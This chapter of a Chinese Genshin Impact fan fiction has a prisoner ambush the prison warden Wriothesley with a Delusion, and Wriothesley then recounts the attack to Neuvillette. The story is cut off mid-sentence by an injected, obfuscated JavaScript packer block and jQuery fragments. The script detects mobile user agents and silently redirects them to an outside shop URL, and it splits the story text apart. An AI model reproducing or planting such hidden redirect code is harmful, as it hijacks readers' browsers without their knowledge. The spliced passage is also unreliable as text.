17. 前因
作品:《[原神狱审]今日枫丹雨夹冰雹》 11月4日,凌晨零点十三分。
“我再重复一遍:我有重要情报要和公爵说!”
“你看看现在几点?公爵都已经休息了,我们怎么可能为了你那不知真假的重要情报打扰他!”
“少在这儿装模作样拦路!你们这群看门杂碎,有什么资格管公爵的事?!情报要是在这儿卡了壳,公爵动起怒来,你们连跪地求饶的机会都没有!现在就给老子滚开!”
公爵的办公室门外,两名看守气笑了:“还看门杂碎?搞清楚你和我们的身份,你只是个杀人犯!要不是枫丹没有死刑,你的项上人头早就不知道掉了几遍了!现在立刻马上离开这里,回到你的牢房里去,否则就去反省室待着吧!”
吱——嘎——
看守身后的黄铜金属大门突然有了响动,生锈的铁轴强行咬合转动,像两截粗粝的钢条在互相啃噬,每一丝声响都带着抗拒的沉滞,仿佛要把积年的锈迹都磨碎在空气里。紧接着,门底部的金属滚轮碾过地面凹槽,滚出“蹭蹭”的钝响,上百斤重的大门在拖拽着惯性移动,震得地面微微发麻,连空气里都飘起细碎的铁锈味。
咚!咚!咚!
皮靴沉重,碾过锈蚀的金属板,行走时的闷响先砸在耳边,再顺着穹顶往远处爬。靴底卡着的碎石蹭过铁板,添了丝刺耳的刮擦,回声撞在斑驳墙面上又折回来,和下一步的咚声叠在一起,像钝锤慢腾腾敲着空鼓,每一声都沉得坠在心头。
莱欧斯利抱臂,望着争执不下的三人,好整以暇道:“三位晚好啊。这大晚上的,你们在进行什么休闲活动吗?加我一个?”
看守们立正行礼:“公爵大人,十分抱歉将您吵醒,我们立刻把这个杀人犯关起来。”
“我看你们谁敢——!”
见监狱的管理者现身,男性犯人想冲过去,却被看守死死架住:“放手!放手!”
看守厉声警告:“别动!”
“亨利·戴维?”
莱欧斯利一眼就认出了犯人:“这是怎么回事?”
眼见瞒不过去了,看守只好如实汇报:“他说他有重要情报要和您交代,但又不肯说明是哪方面的情报。”
亨利冷笑,扯动眼角的伤疤,连呼吸都透着股慑人的凶气:“谁知道你们是不是那些人的眼线?!除了公爵,我谁都不信!”
看守皱眉:“别胡说八道!我们是正规的狱守,诽谤枫丹公务人员是要负法律责任的!你想再上审判庭一次吗?”
“行了,深更半夜的,别再吵醒其他人。”
莱欧斯利打断三人无意义的争执,他看向亨利:“能被一个凶犯信任,我荣幸之至。那么,敢问这位先生,你究竟有什么重要情报要向我汇报呢?”
在问出口之前,莱欧斯利心中已有些计较。这种胡搅蛮缠、非要面见管理者不可的犯人他见得多了,所为之事无非两种:为自己谋求某种利益,或为他人恳求某些便利。
亨利眼神往两名看守身上一睨,轻蔑道:“我说过,我不相信他们。这些事,我只会告诉公爵一人!”
看守:“别得寸进尺!”
莱欧斯利却道:“那便如你所愿。进来吧。”
亨利甩开看守的桎梏,留下一声冷哼,跟着莱欧斯利屁颠屁颠地进入办公室。
厚重的金属铜门在身后缓缓合拢,闷响过后,这座钢铁堡垒细微的白噪音也消弭无踪,只剩两人的脚步声,随着鞋底和金属板的磕碰,在室内发出微弱的回荡音。
两人走上二层,莱欧斯利道:“说吧,这里没人能偷听。”
亨利在办公桌旁驻足,他咬了咬牙,像是下定了什么决心:“公爵大人,那些人不是我想杀的!”
“噢?”
莱欧斯利平静道:“莫非你想说,你是被冤枉的?”
漆黑渊海的领主侧身,隔空点点文件柜里的刑事案件夹:“画家玛索,在10月17日凌晨,她在深夜创作时被人从身后割喉而亡;律师卡米耶,在10月19日傍晚,被渔民从湖中捞出,尸检显示她已身亡超12个小时;退役运动员蒂埃利,在10月20日中午,因食用被下了毒的外卖,抢救不及时而亡;舞台剧演员安托万,在10月21日下午,排练时被突然坠落的吊灯砸中身亡,事后逐影庭发现吊灯顶部被人为破坏过……”
亨利咽了咽口水:“……不,他们其实……”
莱欧斯利前额的灰黑色发梢垂落,遮住了眼皮,眼神锐利冷漠:“根据逐影庭的调查结果,所有线索都指向了你,并且还在你家里发现了杀人作案的凶器,最高审判官都已经对此作出态度鲜明的判决——我相信,他的判决不会出错。”
无声的压力漫延开来,层层冰封,亨利犹如被冰川压顶,面色越发苍白:“这些人,他们、他们都是因为得罪了不该得罪的人,有人指使我去做的!”
莱欧斯利眼珠子一动:“……”
“公爵大人,我也没有办法!如果不按那些人说的做,他们就会、就会对我的家人下手!”
亨利似乎想起什么,手脚发抖:“那些人了解我的背景,也知道我和我家人的住址、在哪里工作上学,甚至对我们的喜好都调查得一清二楚!我真的没有办法,我根本不想杀人!”
莱欧斯利不语。
亨利哀求道:“逐影庭虽然已经破案,但警方并没有抓到真正的凶手!公爵大人,您肯定看过我的卷宗,您稍微查一查就知道我没有撒谎——求求您,帮我去逮捕那些幕后主使吧!我已经是个罪无可赦的犯人了,但我不想让我的家人一辈子都活在他们的威胁之下!”
在亨利讲述的间隙,莱欧斯利分了一半的心,回忆连环杀人案的种种细节。
逐影庭送下来的案卷显示,亨利被抓获时,警员们从他租住的房子地板下搜出一大笔可疑摩拉,共计八百万,足够他下半辈子衣食无忧的了;然而亨利在庭审时并未交代这笔摩拉的来源,后续调查也就此搁置。
另外,对于亨利的杀人动机,案卷中同样只字未提;但由于证据链严丝合缝,并且亨利在警方的追捕过程中有逃逸行为,审判庭由此认定,凶手就是亨利。
心念电转间,莱欧斯利脑海中闪过数个念头:“既然如此,逐影庭在审讯的时候,你为什么没有向警员交代有人胁迫你杀人这件事?”
亨利激动起来:“我怎么知道逐影庭里有没有那些人的眼线?万一走漏了风声,他们对我的家人下手怎么办?我不敢赌这个可能性!”
莱欧斯利:“那为什么现在又肯说了?”
“因为这里是监狱——那些人再神通广大,也很难把手伸到监狱里来。”
亨利喉结滚动,像是在期待着什么:“洪水结束后,我听说了您的大名,也知道您建造方舟、在洪水中拯救了不少枫丹人的事迹……您是我唯一的希望了!只要您能揪出那些人,保我家人的平安,就算我一辈子都不踏出梅洛彼得堡半步,我也心满意足了!”
莱欧斯利并未即刻应答,而是细细追问下去:“胁迫你杀人的那些人,究竟是谁,有几个?”
亨利:“我只知道,他们之中有一个人姓德拉克,其他人都唯此人马首是瞻,看着就像是很不好惹的贵族老爷。”
莱欧斯利听在耳中,始终感觉亨利此言有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651993|188250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些违和,于是比了个手势:“稍等。”
存放犯人档案的文件柜在右侧靠墙处,莱欧斯利转身往那边走去,却毫无预兆地炸开一身白毛汗。
危险!
多年身涉险境的直觉此刻警铃大作,莱欧斯利下意识侧身闪避。可即便他的反应速度出类拔萃,依旧被等待多时、瞅准时机偷袭的亨利得了手。
莱欧斯利的背脊当即多出一条深长的血创口。他啧了一声,挥拳朝身后甩出一片冰凌,余光一瞥,发现亨利竟然避开了冰凌。
莱欧斯利意外道:“哦?身手不错嘛,雇你当杀手,要花不少摩拉吧?”
适才还在哭诉乞求的亨利此刻像是换了个人,变脸的速度比璃月的易面戏法还快。他的眼窝深陷,眼白泛着红血丝,瞳仁盯着人看时,宛如一头锁定猎物的饿狼。
亨利阴恻恻道:“梅洛彼得堡的公爵,也不过如此。”
话毕,一片极度相似的冰凌朝莱欧斯利劈头盖脸地袭去!
莱欧斯利来不及惊愕,身体闪避的速度比思考更快,两人操控着相同的冰元素力,在这还算宽敞的办公室内暴力对轰,眨眼间,室内摆设就被毁了大半。
亨利身手极佳,一招一式都冲着莱欧斯利的要害而去,令他不由得想起那些年在拳力斗技场上与人以命相搏的日子。
这个亨利,分明是个职业杀手!
“你并没有神之眼,是靠什么方法获得元素力的?”
莱欧斯利饶有兴致:“枫丹科学院研制的元素药剂,蒙德的炼金术,还是稻妻的阴阳术式?”
亨利喉间挤出沙哑的嘶笑。
“——是‘邪眼’。”
说到这里,莱欧斯利颇为懊恼:“不得不承认,我轻敌了。被送到水下的犯人经过搜身,能带入梅洛彼得堡的东西都会被严格筛查和限制,他身上本不该有任何违禁物品才对——基于这个理由,我才放心让他单独进入我的办公室。”
邪眼……
那维莱特思忖:“我知道这东西。它来自至冬,普通人使用它,虽能暂时获得元素力,但代价是消耗自己的寿命;使用越是频繁,人的生命力越会如同缺水而迅速枯萎的海露花。”
莱欧斯利从鼻腔里轻轻嗤笑一声:“看来,回去之后,我得好好查查究竟是谁把这东西送到水下的了。”
那维莱特无意置喙管理者的做法,继续先前的话题:“亨利凭借邪眼偷袭你,最后却被克洛琳德发现死在了废弃生产区……由此看来,他还是败在你手下了。”
“差不多,我重伤了他。”
莱欧斯利:“他发现自己不是我的对手,于是想尽一切办法逃跑。他逃跑的时候恰好赶上看守换班的间隙,门口没人驻守,我只能单枪匹马追捕他。但我还没追上他,突然感觉心脏一阵刺痛,很快就失去了意识。”
公爵坐在一块石头上,无奈地搓了搓脸:“再醒来时,我发现自己甚至变了个种族,时而觉得自己是人类,却又不自觉地做出一些野狼才有的行为……真是一言难尽啊。”
那维莱特安慰道:“幸亏你还记得来找我。”
“……”莱欧斯利微妙地停顿须臾,随即唇角勾起散漫的笑意,“全枫丹谁不知道,最高审判官向来可靠又值得信任,不找你找谁呢?”
不知为何,这话落在那维莱特耳中,总有一种淡淡的疏离感。
两人相距不到两米,却像是隔了一块坚冰。
那维莱特不接话,莱欧斯利只好生硬地扯开话题:“邪眼可是个危险的东西,还是尽早收缴销毁为妙。克洛琳德发现了亨利的尸体,有找到他身上的邪眼吗?”

